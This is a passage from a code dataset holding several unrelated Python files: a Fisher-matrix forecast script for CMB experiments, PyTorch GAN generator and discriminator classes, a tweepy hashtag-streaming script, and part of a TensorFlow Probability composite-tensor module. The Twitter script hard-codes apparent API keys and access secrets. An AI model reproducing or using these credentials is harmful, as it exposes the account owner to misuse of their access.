['DM_Pann','helium_fraction','massless_neutrinos','hubble','ombh2','omch2', 'scalar_amp','scalar_spectral_index','re_optical_depth']\nname = ('$H_0$','$\\Omega_bh^2$','$\\Omega_ch^2$', '$10^9 A_s$','$n_s$','$/\\tau$')\nparam_list = ['DM_Pann','hubble','ombh2','omch2', 'scalar_amp','scalar_spectral_index','re_optical_depth']\n\ndef plot_cov_ellipse(cov, pos, nstd=2, ax=None, **kwargs):\n if ax is None:\n ax = plt.gca()\n a = np.sqrt((cov[0,0]+cov[1,1])/2. + np.sqrt((cov[0,0]-cov[1,1])**2/4. + cov[0,1]**2))\n b = np.sqrt((cov[0,0]+cov[1,1])/2. - np.sqrt((cov[0,0]-cov[1,1])**2/4. + cov[0,1]**2))\n theta = np.degrees(np.arctan2(2*cov[0,1],cov[0,0]-cov[1,1]))/2\n alphas = np.asarray((2.3,6.17,11.8))\n alpha = np.sqrt(alphas[nstd-1]) \n # Width and height are \"full\" widths, not radius\n ellip = Ellipse(xy=pos, width=2*alpha*a, height=2*alpha*b, angle=theta, **kwargs)\n ax.add_artist(ellip)\n return ellip\n\ndef covariance(experiment_list,param_list) :\n root_data = '/home/bb510/Code/Rayleigh/fisher_matrices/'\n fish = np.zeros((len(param_names),len(param_names)))\n index = [param_names.index(param_list[i]) for i in range(len(param_list))]\n for exp in experiment_list : \n fish += np.loadtxt(root_data+'fisher_{}.txt'.format(exp))\n cov = np.linalg.inv(fish[np.ix_(index,index)])\n return cov\n\ndef get_cov(fisher,param_list) : \n index = [param_names.index(param_list[i]) for i in range(len(param_list))]\n cov = np.linalg.inv(fisher[np.ix_(index,index)])\n return cov\n\ndef combine_experiment(experiment_list, param_list,rayleigh,pola) :\n root_data = '/home/bb510/Code/Rayleigh/fisher_matrices/'\n f_sky_list = []\n for exp in experiment_list :\n f_sky_list.append(f_sky[exp])\n f_sky_list.sort()\n f_sky_list.insert(0,0)\n if rayleigh : \n str1 = 'r'\n else :\n str1 = 'nor'\n if pola :\n str2 = 'p'\n else :\n str2 = 'nop'\n title = root_data + 'fisher_{}_{}_'.format(str1,str2) + '_'.join(experiment_list) + '_full_params_DM.txt'\n fish = np.zeros((9,9))\n for i in range(len(f_sky_list)-1) : \n if experiment_list[i] == 'PLANCK' :\n title = title.replace('fisher_r','fisher_nor')\n fish += (f_sky_list[i+1]-f_sky_list[i])*np.loadtxt(title)\n title = title.replace(experiment_list[i]+'_','')\n cov = get_cov(fish,param_list)\n return cov\n\n\n\ncov_nor_planck = combine_experiment(['PLANCK'], param_list, rayleigh=False,pola=True)\ncov_r_planck = combine_experiment(['PLANCK'], param_list, rayleigh=True,pola=True)\n\ncov_r_SO_planck = combine_experiment(['SO','PLANCK'], param_list,rayleigh=True,pola=True)\ncov_nor_SO_planck = combine_experiment(['SO','PLANCK'], param_list,rayleigh=False,pola=True)\n\ncov_r_S4_planck = combine_experiment(['S4','PLANCK'], param_list,rayleigh=True,pola=True)\ncov_nor_S4_planck = combine_experiment(['S4','PLANCK'], param_list,rayleigh=False,pola=True)\n\ncov_r_ccat_planck = combine_experiment(['CCAT','PLANCK'], param_list,rayleigh=True,pola=True)\ncov_nor_ccat_planck = combine_experiment(['CCAT','PLANCK'], param_list,rayleigh=False,pola=True)\n\ncov_r_ccat_SO_planck = combine_experiment(['CCAT','SO','PLANCK'], param_list,rayleigh=True,pola=True)\ncov_r_ccat_S4_planck = combine_experiment(['CCAT','S4','PLANCK'], param_list,rayleigh=True,pola=True)\n\n\n\nprint(np.shape(cov_nor_planck),np.shape(cov_r_planck))\n\n\ndef display_errors(cov1,cov2 = 'None', param_list= param_list) :\n if cov2 != 'None' :\n for i in range(len(param_list)) :\n\n print('Error on {} : {:5.3e} then {:5.3e} , improvement {:5.3f} %'.format(param_list[i],np.sqrt(cov1[i,i]),np.sqrt(cov2[i,i]),(np.sqrt(cov1[i,i])-np.sqrt(cov2[i,i]))/np.sqrt(cov1[i,i])*100 ))\n else :\n for i in range(len(param_list)) :\n print('Error on {} : {:5.3e}'.format(param_list[i], np.sqrt(cov1[i,i])))\n return\n\n\nprint('PLANCK \\n')\ndisplay_errors(cov_nor_planck, cov2 = 'None', param_list = param_list )\n\nprint('\\n CCAT + PLANCK \\n')\ndisplay_errors(cov_nor_ccat_planck, cov_r_ccat_planck, param_list )\n\nprint('\\n SO + PLANCK \\n')\ndisplay_errors(cov_nor_SO_planck, cov_r_SO_planck, param_list )\n\nprint('\\n S4 + PLANCK \\n')\ndisplay_errors(cov_nor_S4_planck, cov_r_S4_planck, param_list )\n\nprint('\\n CCAT + SO + PLANCK \\n')\ndisplay_errors(cov_r_SO_planck, cov_r_ccat_SO_planck, param_list )\n\nprint('\\n CCAT + S4 + PLANCK \\n')\ndisplay_errors(cov_r_S4_planck, cov_r_ccat_S4_planck, param_list )\n\n\n\n \n", "sub_path": "Code/python_scripts/script_DM.py", "file_name": "script_DM.py", "file_ext": "py", "file_size_in_byte": 4976, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "numpy.asarray", "line_number": 13, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.gca", "line_number": 20, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 20, "usage_type": "name"}, {"api_name": "numpy.sqrt", "line_number": 21, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.degrees", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.arctan2", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 24, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 25, "usage_type": "call"}, {"api_name": "matplotlib.patches.Ellipse", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 33, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 36, "usage_type": "call"}, {"api_name": "numpy.linalg.inv", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 37, "usage_type": "attribute"}, {"api_name": "numpy.ix_", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.linalg.inv", "line_number": 42, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 42, "usage_type": "attribute"}, {"api_name": "numpy.ix_", "line_number": 42, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 61, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 65, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 96, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 99, "usage_type": "call"}]} {"seq_id": "346386281", "text": "import torch \nimport torch.nn as nn\nimport torch.nn.functional as F\n\nclass Generator(nn.Module):\n def __init__(self, z_dim, ngf, gen_img_ch):\n super(Generator, self).__init__()\n self.z_dim = z_dim \n self.ngf = ngf\n self.gen_img_ch = gen_img_ch\n self.init_height = 4\n self.init_width = 4\n\n self.projection = nn.Sequential(\n nn.ConvTranspose2d(in_channels=z_dim, out_channels=self.ngf*8, kernel_size=4, stride=1, padding=0, bias=False),\n nn.BatchNorm2d(self.ngf*8), \n nn.ReLU(inplace=True),\n )\n\n self.convT1 = nn.Sequential(\n nn.ConvTranspose2d(in_channels= self.ngf*8, out_channels=self.ngf*4, kernel_size=4, stride=2, padding=1, bias=False),\n nn.BatchNorm2d(self.ngf*4),\n nn.ReLU(inplace=True),\n )\n\n self.convT2 = nn.Sequential(\n nn.ConvTranspose2d(in_channels=self.ngf*4, out_channels=self.ngf*2, kernel_size=4, stride=2, padding=1, bias=False),\n nn.BatchNorm2d(self.ngf*2),\n nn.ReLU(inplace=True),\n )\n \n self.convT3 = nn.Sequential(\n nn.ConvTranspose2d(in_channels=self.ngf*2, out_channels=self.ngf*1, kernel_size=4, stride=2, padding=1, bias=False),\n nn.BatchNorm2d(self.ngf*1),\n nn.ReLU(inplace=True),\n )\n\n self.convT4 = nn.Sequential(\n nn.ConvTranspose2d(in_channels=self.ngf*1, out_channels=self.gen_img_ch, kernel_size=4, stride=2, padding=1, bias=False),\n nn.Tanh(),\n )\n \n def forward(self, x):\n x = self.projection(x)\n x = self.convT1(x)\n x = self.convT2(x)\n x = self.convT3(x)\n x = self.convT4(x)\n\n return x\n\nclass Discriminator(nn.Module):\n def __init__(self, ndf, gen_img_ch):\n super(Discriminator, self).__init__()\n\n self.ndf = ndf\n self.gen_img_ch = gen_img_ch\n\n self.conv1 = nn.Sequential(\n nn.Conv2d(in_channels=self.gen_img_ch, out_channels=self.ndf*1, kernel_size=4, stride=2, padding=1, bias=False),\n nn.LeakyReLU(negative_slope=0.2, inplace=True),\n )\n\n self.conv2 = nn.Sequential(\n nn.Conv2d(in_channels=self.ndf*1, out_channels=self.ndf*2, kernel_size=4, stride=2, padding=1, bias=False),\n nn.BatchNorm2d(self.ndf*2),\n nn.LeakyReLU(negative_slope=0.2, inplace=True),\n )\n\n self.conv3 = nn.Sequential(\n nn.Conv2d(in_channels=self.ndf*2, out_channels=self.ndf*4, kernel_size=4, stride=2, padding=1, bias=False),\n nn.BatchNorm2d(self.ndf*4),\n nn.LeakyReLU(negative_slope=0.2, inplace=True),\n )\n \n self.conv4 = nn.Sequential(\n nn.Conv2d(in_channels=self.ndf*4, out_channels=self.ndf*8, kernel_size=4, stride=2, padding=1, bias=False),\n nn.BatchNorm2d(self.ndf*8),\n nn.LeakyReLU(negative_slope=0.2, inplace=True),\n )\n\n self.out = nn.Sequential(\n nn.Conv2d(in_channels=self.ndf*8, out_channels=1, kernel_size=4, stride=1, padding=0, bias=False), # to make final output to be 1 channel (1,1) width and height\n nn.Sigmoid(),\n )\n\n def forward(self, x):\n if x.size()[1] == 1: \n x = torch.cat((x,x,x), dim=1)\n x = self.conv1(x)\n x = self.conv2(x)\n x = self.conv3(x)\n x = self.conv4(x) \n x = self.out(x) \n\n return x\n\ndef _init_weights(m):\n if isinstance(m, nn.Conv2d) or isinstance(m, nn.ConvTranspose2d) or isinstance(m, nn.Linear): \n nn.init.normal_(tensor=m.weight.data, mean=0, std=0.02)\n if m.bias is not None : \n nn.init.constant_(tensor=m.bias.data, val=0.0)\n elif isinstance(m, nn.BatchNorm2d):\n nn.init.normal_(tensor=m.weight.data, mean=1.0, std=0.02)\n nn.init.constant_(tensor=m.bias.data, val=0)", "sub_path": "models/WGAN.py", "file_name": "WGAN.py", "file_ext": "py", "file_size_in_byte": 3896, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "torch.nn.Module", "line_number": 5, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 5, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 14, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 14, "usage_type": "name"}, {"api_name": "torch.nn.ConvTranspose2d", "line_number": 15, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 15, "usage_type": "name"}, {"api_name": "torch.nn.BatchNorm2d", "line_number": 16, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 16, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 17, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 17, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 20, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 20, "usage_type": "name"}, {"api_name": "torch.nn.ConvTranspose2d", "line_number": 21, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 21, "usage_type": "name"}, {"api_name": "torch.nn.BatchNorm2d", "line_number": 22, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 22, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 23, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 23, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 26, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 26, "usage_type": "name"}, {"api_name": "torch.nn.ConvTranspose2d", "line_number": 27, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 27, "usage_type": "name"}, {"api_name": "torch.nn.BatchNorm2d", "line_number": 28, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 28, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 29, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 29, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 32, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 32, "usage_type": "name"}, {"api_name": "torch.nn.ConvTranspose2d", "line_number": 33, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 33, "usage_type": "name"}, {"api_name": "torch.nn.BatchNorm2d", "line_number": 34, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 34, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 35, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 35, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 38, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 38, "usage_type": "name"}, {"api_name": "torch.nn.ConvTranspose2d", "line_number": 39, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 39, "usage_type": "name"}, {"api_name": "torch.nn.Tanh", "line_number": 40, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 40, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 52, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 52, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 59, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 59, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 60, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 60, "usage_type": "name"}, {"api_name": "torch.nn.LeakyReLU", "line_number": 61, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 61, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 64, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 64, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 65, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 65, "usage_type": "name"}, {"api_name": "torch.nn.BatchNorm2d", "line_number": 66, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 66, "usage_type": "name"}, {"api_name": "torch.nn.LeakyReLU", "line_number": 67, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 67, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 70, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 70, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 71, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 71, "usage_type": "name"}, {"api_name": "torch.nn.BatchNorm2d", "line_number": 72, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 72, "usage_type": "name"}, {"api_name": "torch.nn.LeakyReLU", "line_number": 73, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 73, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 76, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 76, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 77, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 77, "usage_type": "name"}, {"api_name": "torch.nn.BatchNorm2d", "line_number": 78, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 78, "usage_type": "name"}, {"api_name": "torch.nn.LeakyReLU", "line_number": 79, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 79, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 82, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 82, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 83, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 83, "usage_type": "name"}, {"api_name": "torch.nn.Sigmoid", "line_number": 84, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 84, "usage_type": "name"}, {"api_name": "torch.cat", "line_number": 89, "usage_type": "call"}, {"api_name": "torch.nn.Conv2d", "line_number": 99, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 99, "usage_type": "name"}, {"api_name": "torch.nn.ConvTranspose2d", "line_number": 99, "usage_type": "attribute"}, {"api_name": "torch.nn.Linear", "line_number": 99, "usage_type": "attribute"}, {"api_name": "torch.nn.init.normal_", "line_number": 100, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 100, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 100, "usage_type": "name"}, {"api_name": "torch.nn.init.constant_", "line_number": 102, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 102, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 102, "usage_type": "name"}, {"api_name": "torch.nn.BatchNorm2d", "line_number": 103, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 103, "usage_type": "name"}, {"api_name": "torch.nn.init.normal_", "line_number": 104, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 104, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 104, "usage_type": "name"}, {"api_name": "torch.nn.init.constant_", "line_number": 105, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 105, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 105, "usage_type": "name"}]} {"seq_id": "460342701", "text": "# coding: utf-8\r\n# In[26]:\r\n# importing the required libraries.\r\nimport tweepy\r\nimport json\r\nimport time\r\nimport datetime\r\n# Authentication details. Enter your own twitter app keys here.\r\nconsumer_key = \"h6yCgjbZ0l7Fy74cqJosTSA61\"\r\nconsumer_secret = \"ELlVjHPntpD439TZgcUKgnLYjEZ9cmXeVQwGY9adroS4RfWT52\"\r\naccess_key = \"2508566346-nIV641qFU7qNq8Wsyvyg27nfPmPiRferblPlXqm\"\r\naccess_secret = \"p2tSEIZyLwg60nT5UAdoYCDCWwRI93uY0VPR97HulpUoT\"\r\n# Enter the hashtag you want to search for here.\r\naccountvar = \"Football\"\r\n# getting the current date and time.\r\nt = datetime.datetime.now()\r\n# sorting the acquired date and time into the format we want as Windows # doesn't allow us to include : in file names.\r\na = t.strftime('%Y-%m-%d-%H-%M')\r\n# specifying the output file name.\r\noutputfilejson = accountvar+\"_\"+str(a)+\".json\"\r\n# This is the listener, resposible for receiving data.\r\nclass StdOutListener(tweepy.StreamListener):\r\n # this class will be called before any of the others once the connection with the Twitter API is made.\r\n def __init__(self, time_limit=60):\r\n # setting current time as start time.\r\n self.start_time = time.time()\r\n # setting time limiter to pause stream. Current time limit is 60 seconds as specified in the function definition.\r\n self.limit = time_limit\r\n super(StdOutListener, self).__init__()\r\n # defining the on_data function. This will tell the compiler what to do whenever new data is received.\r\n def on_data(self, data):\r\n # setting the time limit checker. It will let the stream fetch data as long as the time limit has not been reached.\r\n if (time.time() - self.start_time) < self.limit:\r\n # loading the fetched encoded json tweet into the decoded variable.\r\n decoded = json.loads(data)\r\n #print('here i am in the start of try')\r\n try:\r\n #print('here i am inside try')\r\n if isinstance(decoded, dict): \r\n #print(decoded)\r\n #print('here i am inside try in if')\r\n # decoding the json tweet and loading it in decoded.\r\n decoded = json.dumps(decoded).encode('utf-8')\r\n # writing the decoded tweet into the output file.\r\n outfile.write(decoded)\r\n # adding a new line after the tweet into the output file.\r\n outfile.write(b'\\n')\r\n # printing the stuff we are writing into the output file.\r\n decoded = json.loads(decoded.decode('utf-8'))\r\n print (decoded)\r\n print('\\n')\r\n # handling exceptions in case there is some error\r\n except (NameError, KeyError,AttributeError):\r\n # print('here i am inside catch')\r\n pass\r\n #return True\r\n # code will go here once the time limit is reached. The following lines will disconnect the stream.\r\n else:\r\n time.sleep(10) \r\n stream.disconnect()\r\n return False\r\n # code will go here if there is any error while making connection with the Twitter API.\r\n def on_error(self, status):\r\n # printing the received error.\r\n print (status)\r\n# specifying the main method. This method is always called first when the code starts so we do all the initializing here.\r\nif __name__ == '__main__':\r\n # calling the listener class.\r\n l = StdOutListener()\r\n # specifying the authorization handler of the Twitter API and giving it the variables we defined at the start.\r\n auth = tweepy.OAuthHandler(consumer_key, consumer_secret)\r\n # setting the access token with the tokens of our Twitter API.\r\n auth.set_access_token(access_key, access_secret)\r\n # creating a new output file and opening it in write back mode.\r\n with open(outputfilejson, 'wb') as outfile:\r\n print (\"Showing all new tweets for \" + accountvar)\r\n # initializing the stream with the Twitter API authorization keys.\r\n stream = tweepy.Stream(auth, l)\r\n # searching for the required hashtag.\r\n stream.filter(track=[str(\"#\" + accountvar)])\r\n", "sub_path": "project_py_3.py", "file_name": "project_py_3.py", "file_ext": "py", "file_size_in_byte": 4184, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "datetime.datetime.now", "line_number": 16, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 16, "usage_type": "attribute"}, {"api_name": "tweepy.StreamListener", "line_number": 22, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 26, "usage_type": "call"}, {"api_name": "time.time", "line_number": 33, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 35, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 43, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 49, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 59, "usage_type": "call"}, {"api_name": "tweepy.OAuthHandler", "line_number": 71, "usage_type": "call"}, {"api_name": "tweepy.Stream", "line_number": 78, "usage_type": "call"}]} {"seq_id": "51244403", "text": "# Copyright 2019 The TensorFlow Probability Authors.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ============================================================================\n\"\"\"Use `tfp.distributions.Distribution`s as `tf.CompositeTensor`s.\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport inspect\n\nimport tensorflow.compat.v2 as tf\nfrom tensorflow_probability.python import distributions\nfrom tensorflow_probability.python.internal import tensor_util\nfrom tensorflow.python.framework.composite_tensor import CompositeTensor # pylint: disable=g-direct-tensorflow-import\nfrom tensorflow.python.saved_model import nested_structure_coder # pylint: disable=g-direct-tensorflow-import\n\n\n__all__ = ['as_composite', 'register_composite']\n\n\n_registry = {} # Mapping from (python pkg, class name) -> class.\n\n\nclass _DistributionTypeSpec(tf.TypeSpec):\n \"\"\"A tf.TypeSpec for `tfp.distributions.Distribution` objects.\"\"\"\n\n __slots__ = ('_clsid', '_kwargs', '_param_specs')\n\n def __init__(self, clsid, param_specs, kwargs):\n self._clsid = clsid\n self._kwargs = kwargs\n self._param_specs = param_specs\n\n @property\n def value_type(self):\n return _registry[self._clsid]\n\n def _to_components(self, obj):\n return {k: getattr(obj, k, obj.parameters[k])\n for k in sorted(self._param_specs)}\n\n def _from_components(self, components):\n kwargs = dict(self._kwargs)\n kwargs.update(components)\n return self.value_type(**kwargs) # pylint: disable=not-callable\n\n @property\n def _component_specs(self):\n return self._param_specs\n\n def _serialize(self):\n return 1, self._clsid, self._param_specs, self._kwargs\n\n @classmethod\n def _deserialize(cls, encoded):\n version, clsid, param_specs, kwargs = encoded\n if version != 1:\n raise ValueError('Unexpected version')\n if _find_clsid(clsid) is None:\n raise ValueError(\n 'Unable to identify distribution type for {}. For user-defined '\n 'distributions (not in TFP), make sure the distribution is decorated '\n 'with `@tfp.experimental.register_composite` and its module is '\n 'imported before calling `tf.saved_model.load`.'.format(clsid))\n return cls(clsid, param_specs, kwargs)\n\n\n_TypeSpecCodec = nested_structure_coder._TypeSpecCodec # pylint: disable=protected-access\n_TypeSpecCodec.TYPE_SPEC_CLASS_FROM_PROTO[275837168] = _DistributionTypeSpec\n_TypeSpecCodec.TYPE_SPEC_CLASS_TO_PROTO[_DistributionTypeSpec] = 275837168\ndel _TypeSpecCodec\n\n\ndef _make_convertible(cls):\n \"\"\"Makes a subclass of `cls` that also subclasses `CompositeTensor`.\"\"\"\n\n clsid = (cls.__module__, cls.__name__)\n\n if clsid in _registry:\n return _registry[clsid]\n\n class _CompositeTensorDist(cls, CompositeTensor):\n \"\"\"A per-`cls` subclass of `CompositeTensor`.\"\"\"\n\n def _parameter_control_dependencies(self, is_init):\n # We are forced by the CompositeTensor contract (no graph operations in\n # `_to_components`, `_from_components`) to defer the\n # `_initial_parameter_control_dependencies` to point-of-use.\n if is_init:\n return ()\n\n result = tuple(\n super(_CompositeTensorDist, self)._parameter_control_dependencies(\n is_init=True))\n result += tuple(\n super(_CompositeTensorDist, self)._parameter_control_dependencies(\n is_init=True))\n return result\n\n @property\n def _type_spec(self):\n kwargs = dict(self.parameters)\n param_specs = {}\n try:\n params_event_ndims = self._params_event_ndims() # pylint: disable=protected-access\n except NotImplementedError:\n params_event_ndims = {}\n for k in params_event_ndims:\n if k in kwargs and kwargs[k] is not None:\n v = kwargs.pop(k)\n param_specs[k] = tf.TensorSpec.from_tensor(v)\n for k, v in list(kwargs.items()):\n if isinstance(v, CompositeTensor):\n param_specs[k] = v._type_spec # pylint: disable=protected-access\n kwargs.pop(k)\n return _DistributionTypeSpec(\n clsid, param_specs=param_specs, kwargs=kwargs)\n\n _CompositeTensorDist.__name__ = '{}CT'.format(cls.__name__)\n _registry[clsid] = _CompositeTensorDist\n return _CompositeTensorDist\n\n\n# Lazy-cache into `_registry` so that `tf.saved_model.load` will work.\ndef _find_clsid(clsid):\n pkg, cls = clsid\n if clsid not in _registry:\n if pkg.startswith('tensorflow_probability.') and '.distributions' in pkg:\n dist_cls = getattr(distributions, cls)\n if (inspect.isclass(dist_cls) and\n issubclass(dist_cls, distributions.Distribution)):\n _make_convertible(dist_cls)\n return _registry[clsid] if clsid in _registry else None\n\n\ndef as_composite(obj):\n \"\"\"Returns a `CompositeTensor` equivalent to the given object.\n\n Note that the returned object will have any `Variable`,\n `tfp.util.DeferredTensor`, or `tfp.util.TransformedVariable` references it\n closes over converted to tensors at the time this function is called. The\n type of the returned object will be a subclass of both `CompositeTensor` and\n `type(obj)`. For this reason, one should be careful about using\n `as_composite()`, especially for `tf.Module` objects.\n\n For example, when the composite tensor is created even as part of a\n `tf.Module`, it \"fixes\" the values of the `DeferredTensor` and `tf.Variable`\n objects it uses:\n\n ```python\n class M(tf.Module):\n def __init__(self):\n self._v = tf.Variable(1.)\n self._d = tfp.distributions.Normal(\n tfp.util.DeferredTensor(self._v, lambda v: v + 1), 10)\n self._dct = tfp.experimental.as_composite(self._d)\n\n @tf.function\n def mean(self):\n return self._dct.mean()\n\n m = M()\n m.mean()\n >>> <tf.Tensor: numpy=2.0>\n m._v.assign(2.) # Doesn't update the CompositeTensor distribution.\n m.mean()\n >>> <tf.Tensor: numpy=2.0>\n ```\n\n If, however, the creation of the composite is deferred to a method\n call, then the Variable and DeferredTensor will be properly captured\n and respected by the Module and its `SavedModel` (if it is serialized).\n\n ```python\n class M(tf.Module):\n def __init__(self):\n self._v = tf.Variable(1.)\n self._d = tfp.distributions.Normal(\n tfp.util.DeferredTensor(self._v, lambda v: v + 1), 10)\n\n @tf.function\n def d(self):\n return tfp.experimental.as_composite(self._d)\n\n m = M()\n m.d().mean()\n >>> <tf.Tensor: numpy=2.0>\n m._v.assign(2.)\n m.d().mean()\n >>> <tf.Tensor: numpy=3.0>\n ```\n\n Note: This method is best-effort and based on a heuristic for what the\n tensor parameters are and what the non-tensor parameters are. Things might be\n broken, especially for meta-distributions like `TransformedDistribution` or\n `Independent`. (We try to raise NotImplementedError in such cases.) If you'd\n benefit from better coverage, please file an issue on github or send an email\n to `tfprobability@tensorflow.org`.\n\n Args:\n obj: A `tfp.distributions.Distribution`.\n\n Returns:\n obj: A `tfp.distributions.Distribution` that extends `CompositeTensor`.\n \"\"\"\n if isinstance(obj, CompositeTensor):\n return obj\n cls = _make_convertible(type(obj))\n kwargs = dict(obj.parameters)\n def mk_err_msg(suffix=''):\n return (\n 'Unable to make a CompositeTensor for \"{}\" of type `{}`. Email '\n '`tfprobability@tensorflow.org` or file an issue on github if you '\n 'would benefit from this working. {}'.format(obj, type(obj), suffix))\n try:\n params_event_ndims = obj._params_event_ndims() # pylint: disable=protected-access\n except NotImplementedError:\n params_event_ndims = {}\n for k in params_event_ndims:\n # Use dtype inference from ctor.\n if k in kwargs and kwargs[k] is not None:\n v = getattr(obj, k, kwargs[k])\n try:\n kwargs[k] = tf.convert_to_tensor(v, name=k)\n except TypeError as e:\n raise NotImplementedError(\n mk_err_msg(\n '(Unable to convert dependent entry \\'{}\\' of object '\n '\\'{}\\': {})'.format(k, obj, str(e))))\n for k, v in kwargs.items():\n if isinstance(v, distributions.Distribution):\n kwargs[k] = as_composite(v)\n if tensor_util.is_ref(v):\n try:\n kwargs[k] = tf.convert_to_tensor(v, name=k)\n except TypeError as e:\n raise NotImplementedError(\n mk_err_msg(\n '(Unable to convert dependent entry \\'{}\\' of object '\n '\\'{}\\': {})'.format(k, obj, str(e))))\n result = cls(**kwargs)\n struct_coder = nested_structure_coder.StructureCoder()\n try:\n struct_coder.encode_structure(result._type_spec) # pylint: disable=protected-access\n except nested_structure_coder.NotEncodableError as e:\n raise NotImplementedError(\n mk_err_msg('(Unable to serialize: {})'.format(str(e))))\n return result\n\n\ndef register_composite(cls):\n \"\"\"A decorator that registers a Distribution as composite-friendly.\n\n This registration is not required to call `as_composite` on instances\n of 